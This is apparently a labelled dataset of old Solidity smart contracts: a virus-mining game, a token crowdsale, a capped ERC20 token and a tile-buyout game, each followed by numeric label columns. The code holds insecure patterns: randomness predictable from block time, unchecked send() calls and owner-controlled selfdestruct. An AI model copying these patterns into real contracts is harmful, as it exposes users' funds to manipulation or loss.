engineers[3] = EngineerData(800, BASE_PRICE * 4, 3200, 8 );
engineers[4] = EngineerData(3200, BASE_PRICE * 8, 9600, 16 );
engineers[5] = EngineerData(12800, BASE_PRICE * 16, 38400, 32 );
engineers[6] = EngineerData(102400, BASE_PRICE * 32, 204800, 64 );
engineers[7] = EngineerData(819200, BASE_PRICE * 64, 819200, 65536);
initData();
}
function () public payable
{
addPrizePool(msg.value);
}
function initData() private
{
boostData[0] = BoostData(0x0, 150, BASE_PRICE * 1);
boostData[1] = BoostData(0x0, 175, BASE_PRICE * 2);
boostData[2] = BoostData(0x0, 200, BASE_PRICE * 4);
boostData[3] = BoostData(0x0, 225, BASE_PRICE * 8);
boostData[4] = BoostData(0x0, 250, BASE_PRICE * 16);
}
function isContractMiniGame() public pure returns( bool _isContractMiniGame )
{
_isContractMiniGame = true;
}
function setupMiniGame( uint256 , uint256 ) public
{
}
function setContractsMiniGame( address _contractMiniGameAddress ) public isAdministrator
{
MiniGameInterface MiniGame = MiniGameInterface( _contractMiniGameAddress );
if( MiniGame.isContractMiniGame() == false ) { revert(); }
miniGames[_contractMiniGameAddress] = true;
}
function removeContractMiniGame(address _contractMiniGameAddress) public isAdministrator
{
miniGames[_contractMiniGameAddress] = false;
}
function upgrade(address addr) public
{
require(msg.sender == administrator);
selfdestruct(addr);
}
function buyBooster(uint256 idx) public payable
{
require(idx < numberOfBoosts);
BoostData storage b = boostData[idx];
if (msg.value < b.basePrice || msg.sender == b.owner) {
revert();
}
address beneficiary = b.owner;
uint256 devFeePrize = devFee(b.basePrice);
distributedToOwner(devFeePrize);
addMiningWarPrizePool(devFeePrize);
addPrizePool(SafeMath.sub(msg.value, SafeMath.mul(devFeePrize,3)));
updateVirus(msg.sender);
if ( beneficiary != 0x0 ) {
updateVirus(beneficiary);
}
b.owner = msg.sender;
}
function getBoosterData(uint256 idx) public view returns (address _owner,uint256 _boostRate, uint256 _basePrice)
{
require(idx < numberOfBoosts);
BoostData memory b = boostData[idx];
_owner = b.owner;
_boostRate = b.boostRate;
_basePrice = b.basePrice;
}
function hasBooster(address addr) public view returns (uint256 _boostIdx)
{
_boostIdx = 999;
for(uint256 i = 0; i < numberOfBoosts; i++){
uint256 revert_i = numberOfBoosts - i - 1;
if(boostData[revert_i].owner == addr){
_boostIdx = revert_i;
break;
}
}
}
function becomeGameSponsor() public payable disableContract
{
uint256 gameSponsorPriceFee = SafeMath.div(SafeMath.mul(gameSponsorPrice, 150), 100);
require(msg.value >= gameSponsorPriceFee);
require(msg.sender != gameSponsor);
uint256 repayPrice = SafeMath.div(SafeMath.mul(gameSponsorPrice, 110), 100);
gameSponsor.send(repayPrice);
addPrizePool(SafeMath.sub(msg.value, repayPrice));
gameSponsor = msg.sender;
gameSponsorPrice = gameSponsorPriceFee;
}
function addVirus(address _addr, uint256 _value) public onlyContractsMiniGame
{
PlayerData storage p = players[_addr];
uint256 additionalVirus = SafeMath.mul(_value,VIRUS_MINING_PERIOD);
p.virusNumber = SafeMath.add(p.virusNumber, additionalVirus);
}
function subVirus(address _addr, uint256 _value) public onlyContractsMiniGame
{
updateVirus(_addr);
PlayerData storage p = players[_addr];
uint256 subtractVirus = SafeMath.mul(_value,VIRUS_MINING_PERIOD);
if ( p.virusNumber < subtractVirus ) { revert(); }
p.virusNumber = SafeMath.sub(p.virusNumber, subtractVirus);
}
function setAtkNowForPlayer(address _addr) public onlyContractsMiniGame
{
PlayerData storage p = players[_addr];
p.nextTimeAtk = now;
}
function addTimeUnequalledDefence(address _addr, uint256 _value) public onlyContractsMiniGame
{
PlayerData storage p = players[_addr];
uint256 currentTimeUnequalled = p.endTimeUnequalledDef;
if (currentTimeUnequalled < now) {
currentTimeUnequalled = now;
}
p.endTimeUnequalledDef = SafeMath.add(currentTimeUnequalled, _value);
}
function claimPrizePool(address _addr, uint256 _value) public onlyContractsMiniGame
{
require(prizePool > _value);
prizePool = SafeMath.sub(prizePool, _value);
MiniGameInterface MiniGame = MiniGameInterface( _addr );
MiniGame.fallback.value(_value)();
}
function setVirusInfo(uint256 _atk, uint256 _def) public isAdministrator
{
VirusData storage v = virus[VIRUS_NORMAL];
v.atk = _atk;
v.def = _def;
}
function addVirusDefence(uint256 _value) public disableContract
{
updateVirus(msg.sender);
PlayerData storage p = players[msg.sender];
uint256 _virus = SafeMath.mul(_value,VIRUS_MINING_PERIOD);
if ( p.virusNumber < _virus ) { revert(); }
p.virusDefence = SafeMath.add(p.virusDefence, _virus);
p.virusNumber = SafeMath.sub(p.virusNumber, _virus);
}
function attack( address _defAddress, uint256 _value) public disableContract
{
require(canAttack(msg.sender, _defAddress) == true);
updateVirus(msg.sender);
PlayerData storage pAtk = players[msg.sender];
PlayerData storage pDef = players[_defAddress];
uint256 virusAtk = SafeMath.mul(_value,VIRUS_MINING_PERIOD);
if (pAtk.virusNumber < virusAtk) { revert(); }
if (calCurrentCrystals(_defAddress) < 5000) { revert(); }
VirusData memory v = virus[VIRUS_NORMAL];
uint256 rateAtk = 50 + randomNumber(msg.sender, 100);
uint256 rateDef = 50 + randomNumber(_defAddress, 100);
uint256 atk = SafeMath.div(SafeMath.mul(SafeMath.mul(virusAtk, v.atk), rateAtk), 100);
uint256 def = SafeMath.div(SafeMath.mul(SafeMath.mul(pDef.virusDefence, v.def), rateDef), 100);
bool isWin = false;
uint256 virusPlayerAtkDead = 0;
uint256 virusPlayerDefDead = 0;
if (atk > def) {
virusPlayerAtkDead = SafeMath.min(virusAtk, SafeMath.div(SafeMath.mul(def, 100), SafeMath.mul(v.atk, rateAtk)));
virusPlayerDefDead = pDef.virusDefence;
isWin = true;
}
pAtk.virusNumber = SafeMath.sub(pAtk.virusNumber, virusPlayerAtkDead);
pDef.virusDefence = SafeMath.sub(pDef.virusDefence, virusPlayerDefDead);
pAtk.nextTimeAtk = now + HALF_TIME_ATK;
endAttack(msg.sender,_defAddress,isWin, virusPlayerAtkDead, virusPlayerDefDead, atk, def);
}
function canAttack(address _atkAddress, address _defAddress) public view returns(bool _canAtk)
{
if (
_atkAddress != _defAddress &&
players[_atkAddress].nextTimeAtk <= now &&
players[_defAddress].endTimeUnequalledDef < now
)
{
_canAtk = true;
}
}
function endAttack(
address _atkAddress,
address _defAddress,
bool _isWin,
uint256 _virusPlayerAtkDead,
uint256 _virusPlayerDefDead,
uint256 _atk,
uint256 _def
) private
{
uint256 winCrystals;
if ( _isWin == true ) {
uint256 pDefCrystals = calCurrentCrystals(_defAddress);
uint256 rate =10 + randomNumber(_defAddress, 40);
winCrystals = SafeMath.div(SafeMath.mul(pDefCrystals,rate),100);
if (winCrystals > 0) {
MiningWarContract.subCrystal(_defAddress, winCrystals);
MiningWarContract.addCrystal(_atkAddress, winCrystals);
}
}
emit eventEndAttack(_atkAddress, _defAddress, _isWin, winCrystals, _virusPlayerAtkDead, _virusPlayerDefDead, now, engineerRoundNumber, _atk, _def);
}
function buyEngineer(uint256[] engineerNumbers) public payable disableContract
{
require(engineerNumbers.length == numberOfEngineer);
updateVirus(msg.sender);
PlayerData storage p = players[msg.sender];
uint256 priceCrystals = 0;
uint256 priceEth = 0;
uint256 research = 0;
for (uint256 engineerIdx = 0; engineerIdx < numberOfEngineer; engineerIdx++) {
uint256 engineerNumber = engineerNumbers[engineerIdx];
EngineerData memory e = engineers[engineerIdx];
if(engineerNumber > e.limit || engineerNumber < 0) {
revert();
}
if (engineerNumber > 0) {
uint256 currentEngineerCount = p.engineersCount[engineerIdx];
p.engineersCount[engineerIdx] = SafeMath.min(e.limit, SafeMath.add(p.engineersCount[engineerIdx], engineerNumber));
research = SafeMath.add(research, SafeMath.mul(SafeMath.sub(p.engineersCount[engineerIdx],currentEngineerCount), e.baseResearch));
priceCrystals = SafeMath.add(priceCrystals, SafeMath.mul(e.basePrice, engineerNumber));
priceEth = SafeMath.add(priceEth, SafeMath.mul(e.baseETH, engineerNumber));
}
}
if (priceEth < msg.value) {
revert();
}
uint256 devFeePrize = devFee(priceEth);
distributedToOwner(devFeePrize);
addMiningWarPrizePool(devFeePrize);
addPrizePool(SafeMath.sub(msg.value, SafeMath.mul(devFeePrize,3)));
MiningWarContract.subCrystal(msg.sender, priceCrystals);
updateResearch(msg.sender, research);
}
function updateVirus(address _addr) private
{
if (players[_addr].engineerRoundNumber != engineerRoundNumber) {
return resetPlayer(_addr);
}
PlayerData storage p = players[_addr];
p.virusNumber = calculateCurrentVirus(_addr);
p.lastUpdateTime = now;
}
function calculateCurrentVirus(address _addr) public view returns(uint256 _currentVirus)
{
PlayerData memory p = players[_addr];
uint256 secondsPassed = SafeMath.sub(now, p.lastUpdateTime);
uint256 researchPerDay = getResearchPerDay(_addr);
_currentVirus = p.virusNumber;
if (researchPerDay > 0) {
_currentVirus = SafeMath.add(_currentVirus, SafeMath.mul(researchPerDay, secondsPassed));
}
}
function resetPlayer(address _addr) private
{
require(players[_addr].engineerRoundNumber != engineerRoundNumber);
PlayerData storage p = players[_addr];
p.engineerRoundNumber = engineerRoundNumber;
p.virusNumber = 0;
p.virusDefence = 0;
p.research = 0;
p.lastUpdateTime = now;
p.nextTimeAtk = now;
p.endTimeUnequalledDef = now;
for ( uint256 idx = 0; idx < numberOfEngineer; idx++ ) {
p.engineersCount[idx] = 0;
}
}
function updateResearch(address _addr, uint256 _research) private
{
PlayerData storage p = players[_addr];
p.research = SafeMath.add(p.research, _research);
}
function getResearchPerDay(address _addr) public view returns( uint256 _researchPerDay)
{
PlayerData memory p = players[_addr];
_researchPerDay = p.research;
uint256 boosterIdx = hasBooster(_addr);
if (boosterIdx != 999) {
BoostData memory b = boostData[boosterIdx];
_researchPerDay = SafeMath.div(SafeMath.mul(_researchPerDay, b.boostRate), 100);
}
}
function getPlayerData(address _addr)
public
view
returns(
uint256 _engineerRoundNumber,
uint256 _virusNumber,
uint256 _virusDefence,
uint256 _research,
uint256 _researchPerDay,
uint256 _lastUpdateTime,
uint256[8] _engineersCount,
uint256 _nextTimeAtk,
uint256 _endTimeUnequalledDef
)
{
PlayerData storage p = players[_addr];
for ( uint256 idx = 0; idx < numberOfEngineer; idx++ ) {
_engineersCount[idx] = p.engineersCount[idx];
}
_engineerRoundNumber = p.engineerRoundNumber;
_virusNumber = SafeMath.div(p.virusNumber, VIRUS_MINING_PERIOD);
_virusDefence = SafeMath.div(p.virusDefence, VIRUS_MINING_PERIOD);
_nextTimeAtk = p.nextTimeAtk;
_lastUpdateTime = p.lastUpdateTime;
_endTimeUnequalledDef = p.endTimeUnequalledDef;
_research = p.research;
_researchPerDay = getResearchPerDay(_addr);
}
function addPrizePool(uint256 _value) private
{
prizePool = SafeMath.add(prizePool, _value);
}
function addMiningWarPrizePool(uint256 _value) private
{
MiningWarContract.fallback.value(_value)();
}
function calCurrentCrystals(address _addr) public view returns(uint256 _currentCrystals)
{
uint256 lastUpdateTime;
(,, _currentCrystals, lastUpdateTime) = getMiningWarPlayerData(_addr);
uint256 hashratePerDay = getHashratePerDay(_addr);
uint256 secondsPassed = SafeMath.sub(now, lastUpdateTime);
if (hashratePerDay > 0) {
_currentCrystals = SafeMath.add(_currentCrystals, SafeMath.mul(hashratePerDay, secondsPassed));
}
_currentCrystals = SafeMath.div(_currentCrystals, CRTSTAL_MINING_PERIOD);
}
function devFee(uint256 _amount) private pure returns(uint256)
{
return SafeMath.div(SafeMath.mul(_amount, 5), 100);
}
function distributedToOwner(uint256 _value) private
{
gameSponsor.send(_value);
miningWarAdministrator.send(_value);
}
function randomNumber(address _addr, uint256 _maxNumber) private returns(uint256)
{
randNonce = randNonce + 1;
return uint256(keccak256(abi.encodePacked(now, _addr, randNonce))) % _maxNumber;
}
function getMiningWarPlayerData(address _addr) private view returns(uint256 _roundNumber, uint256 _hashrate, uint256 _crytals, uint256 _lastUpdateTime)
{
(_roundNumber,_hashrate,_crytals,_lastUpdateTime,,)= MiningWarContract.players(_addr);
}
function getHashratePerDay(address _addr) private view returns(uint256)
{
return MiningWarContract.getHashratePerDay(_addr);
}
} | 0 | 2,025 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal {
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(now >= openingTime && now <= closingTime);
_;
}
function TimedCrowdsale(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= now);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return now > closingTime;
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal onlyWhileOpen {
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract FloraFicTokenCrowdsale is FinalizableCrowdsale {
uint256 public initialRate;
function FloraFicTokenCrowdsale(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
uint256 _initialRate,
address _wallet,
ERC20 _token
)
public
Crowdsale(_rate, _wallet, _token)
TimedCrowdsale(_openingTime, _closingTime)
{
initialRate = _initialRate;
}
function setClosingTime(uint256 _closingTime) onlyOwner public {
require(_closingTime >= block.timestamp);
require(_closingTime >= openingTime);
closingTime = _closingTime;
}
function getCurrentRate() public view returns (uint256) {
uint256 elapsedTime = block.timestamp.sub(openingTime);
uint num_day = uint(elapsedTime) / 86400;
rate = initialRate.sub(num_day.mul(initialRate).div(100));
return rate;
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
uint256 sendWeiAmount = _weiAmount;
uint256 bonus = 0;
uint256 currentRate = getCurrentRate();
uint256 currentWeiAmount = currentRate.mul(_weiAmount);
if( sendWeiAmount < 0.5 ether){
bonus = currentWeiAmount.mul(5).div(100);
} else if (sendWeiAmount >= 0.5 ether && sendWeiAmount < 1 ether){
bonus = currentWeiAmount.mul(7).div(100);
} else if (sendWeiAmount >= 1 ether && sendWeiAmount < 5 ether){
bonus = currentWeiAmount.mul(10).div(100);
} else if (sendWeiAmount >= 5 ether && sendWeiAmount < 10 ether){
bonus = currentWeiAmount.mul(15).div(100);
} else if (sendWeiAmount >= 10 ether && sendWeiAmount < 20 ether){
bonus = currentWeiAmount.mul(20).div(100);
} else if (sendWeiAmount >= 20 ether && sendWeiAmount < 50 ether){
bonus = currentWeiAmount.mul(25).div(100);
} else if (sendWeiAmount >= 50 ether){
bonus = currentWeiAmount.mul(30).div(100);
}
return currentWeiAmount.add(bonus);
}
function finalization() internal {
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.transfer(wallet, amount);
}
} | 1 | 4,503 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) { return 0; }
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Token {
using SafeMath for uint256;
address public owner;
string public name = "FDEX";
string public symbol = "DESIA";
string public version = "DESIA v1.1";
uint256 public decimals = 18;
uint256 totalSupply_ = 12e8 * (10**uint256(decimals));
uint256 public cap = totalSupply_;
bool public paused = false;
bool public mintingFinished = true;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) internal allowed;
mapping(address => uint256) internal locked;
event Burn(address indexed burner, uint256 value);
event Approval(address indexed owner, address indexed spender,uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event Pause();
event Unpause();
event Mint(address indexed to, uint256 amount, string reason);
event MintFinished();
event MintStarted(string reason);
event Lock(address indexed LockedAddress, uint256 LockAmount);
event Unlock(address indexed LockedAddress);
event CapChange(uint256 Cap, string reason);
constructor() public {
owner = msg.sender;
balances[owner] = totalSupply_ ;
}
modifier onlyOwner() {require(msg.sender == owner); _;}
modifier whenPaused() {require(paused); _; }
modifier whenNotPaused() {require(!paused); _;}
modifier canMint() {require(!mintingFinished); _;}
modifier cannotMint() {require(mintingFinished); _;}
modifier hasMintPermission() {require(msg.sender == owner); _;}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
function burnFrom(address _from, uint256 _value) public {
require(_value <= allowed[_from][msg.sender]);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
_burn(_from, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint256 _addedValue) public whenNotPaused returns(bool){
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public whenNotPaused returns(bool) {
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0;
} else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
require(_to != address(0));
require(locked[msg.sender].add(_value) <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns(bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(locked[_from].add(_value) <= balances[_from]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
function mint(address _to, uint256 _amount, string _reason) hasMintPermission canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount, _reason);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
function destroyAndSend(address _recipient) onlyOwner public {
selfdestruct(_recipient);
}
function startMinting(string reason) onlyOwner cannotMint public returns (bool) {
mintingFinished = false;
emit MintStarted(reason);
return true;
}
function burnOf(address _who, uint256 _value) public onlyOwner {
_burn(_who, _value);
}
function setCap(uint256 _cap, string _reason) public onlyOwner {
_setCap(_cap, _reason);
}
function _setCap(uint256 _cap, string _reason) internal onlyOwner {
cap = _cap;
emit CapChange(_cap, _reason);
}
function multiTransfer(address[] _to, uint256[] _amount) whenNotPaused public returns (bool) {
require(_to.length == _amount.length);
uint256 i;
uint256 amountSum = 0;
for (i=0; i < _amount.length; i++){
require(_amount[i] > 0);
require(_to[i] != address(0));
amountSum = amountSum.add(_amount[i]);
}
require(locked[msg.sender].add(amountSum) <= balances[msg.sender]);
require(amountSum <= balances[msg.sender]);
for (i=0; i < _to.length; i++){
balances[_to[i]] = balances[_to[i]].add(_amount[i]);
emit Transfer(msg.sender, _to[i], _amount[i]);
}
balances[msg.sender] = balances[msg.sender].sub(amountSum);
return true;
}
function multiMint(address[] _to, uint256[] _amount, string _reason) hasMintPermission canMint public returns (bool) {
require(_to.length == _amount.length);
uint16 i;
uint256 amountSum = 0;
for (i=0; i < _amount.length; i++){
require(_amount[i] > 0);
require(_to[i] != address(0));
amountSum = amountSum.add(_amount[i]);
}
require(totalSupply_.add(amountSum) <= cap);
for (i=0; i < _to.length; i++){
mint(_to[i], _amount[i], _reason);
}
return true;
}
function lock(address _lockAddress, uint256 _lockAmount) public onlyOwner returns (bool) {
require(_lockAddress != address(0));
require(_lockAddress != owner);
locked[_lockAddress] = _lockAmount;
emit Lock(_lockAddress, _lockAmount);
return true;
}
function unlock(address _lockAddress) public onlyOwner returns (bool) {
require(_lockAddress != address(0));
require(_lockAddress != owner);
locked[_lockAddress] = 0;
emit Unlock(_lockAddress);
return true;
}
function multiLock(address[] _lockAddress, uint256[] _lockAmount) public onlyOwner {
require(_lockAmount.length == _lockAddress.length);
for (uint i=0; i < _lockAddress.length; i++){
lock(_lockAddress[i], _lockAmount[i]);
}
}
function multiUnlock(address[] _lockAddress) public onlyOwner {
for (uint i=0; i < _lockAddress.length; i++){
unlock(_lockAddress[i]);
}
}
function checkLock(address _address) public view onlyOwner returns (uint256) {
return locked[_address];
}
} | 1 | 3,578 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
contract BurnupGameAccessControl is Claimable, Pausable, CanReclaimToken {
mapping (address => bool) public cfo;
function BurnupGameAccessControl() public {
cfo[msg.sender] = true;
}
modifier onlyCFO() {
require(cfo[msg.sender]);
_;
}
function setCFO(address addr, bool set) external onlyOwner {
require(addr != address(0));
if (!set) {
delete cfo[addr];
} else {
cfo[addr] = true;
}
}
}
contract BurnupGameBase is BurnupGameAccessControl {
using SafeMath for uint256;
event ActiveTimes(uint256[] from, uint256[] to);
event AllowStart(bool allowStart);
event NextGame(
uint256 rows,
uint256 cols,
uint256 initialActivityTimer,
uint256 finalActivityTimer,
uint256 numberOfFlipsToFinalActivityTimer,
uint256 timeoutBonusTime,
uint256 unclaimedTilePrice,
uint256 buyoutReferralBonusPercentage,
uint256 firstBuyoutPrizePoolPercentage,
uint256 buyoutPrizePoolPercentage,
uint256 buyoutDividendPercentage,
uint256 buyoutFeePercentage,
uint256 buyoutPriceIncreasePercentage
);
event Start(
uint256 indexed gameIndex,
address indexed starter,
uint256 timestamp,
uint256 prizePool
);
event End(uint256 indexed gameIndex, address indexed winner, uint256 indexed identifier, uint256 x, uint256 y, uint256 timestamp, uint256 prize);
event Buyout(
uint256 indexed gameIndex,
address indexed player,
uint256 indexed identifier,
uint256 x,
uint256 y,
uint256 timestamp,
uint256 timeoutTimestamp,
uint256 newPrice,
uint256 newPrizePool
);
event LastTile(
uint256 indexed gameIndex,
uint256 indexed identifier,
uint256 x,
uint256 y
);
event PenultimateTileTimeout(
uint256 indexed gameIndex,
uint256 timeoutTimestamp
);
event SpiceUpPrizePool(uint256 indexed gameIndex, address indexed spicer, uint256 spiceAdded, string message, uint256 newPrizePool);
struct GameSettings {
uint256 rows;
uint256 cols;
uint256 initialActivityTimer;
uint256 finalActivityTimer;
uint256 numberOfFlipsToFinalActivityTimer;
uint256 timeoutBonusTime;
uint256 unclaimedTilePrice;
uint256 buyoutReferralBonusPercentage;
uint256 firstBuyoutPrizePoolPercentage;
uint256 buyoutPrizePoolPercentage;
uint256 buyoutDividendPercentage;
uint256 buyoutFeePercentage;
uint256 buyoutPriceIncreasePercentage;
}
struct GameState {
bool gameStarted;
uint256 gameStartTimestamp;
mapping (uint256 => address) identifierToOwner;
mapping (uint256 => uint256) identifierToTimeoutTimestamp;
mapping (uint256 => uint256) identifierToBuyoutPrice;
mapping (address => uint256) addressToNumberOfTiles;
uint256 numberOfTileFlips;
uint256 lastTile;
uint256 penultimateTileTimeout;
uint256 prizePool;
}
mapping (uint256 => GameState) public gameStates;
uint256 public gameIndex = 0;
GameSettings public gameSettings;
GameSettings public nextGameSettings;
uint256[] public activeTimesFrom;
uint256[] public activeTimesTo;
bool public allowStart;
function BurnupGameBase() public {
setNextGameSettings(
4,
5,
300,
150,
5,
30,
0.01 ether,
750,
40000,
10000,
5000,
2500,
150000
);
}
function validCoordinate(uint256 x, uint256 y) public view returns(bool) {
return x < gameSettings.cols && y < gameSettings.rows;
}
function coordinateToIdentifier(uint256 x, uint256 y) public view returns(uint256) {
require(validCoordinate(x, y));
return (y * gameSettings.cols) + x + 1;
}
function identifierToCoordinate(uint256 identifier) public view returns(uint256 x, uint256 y) {
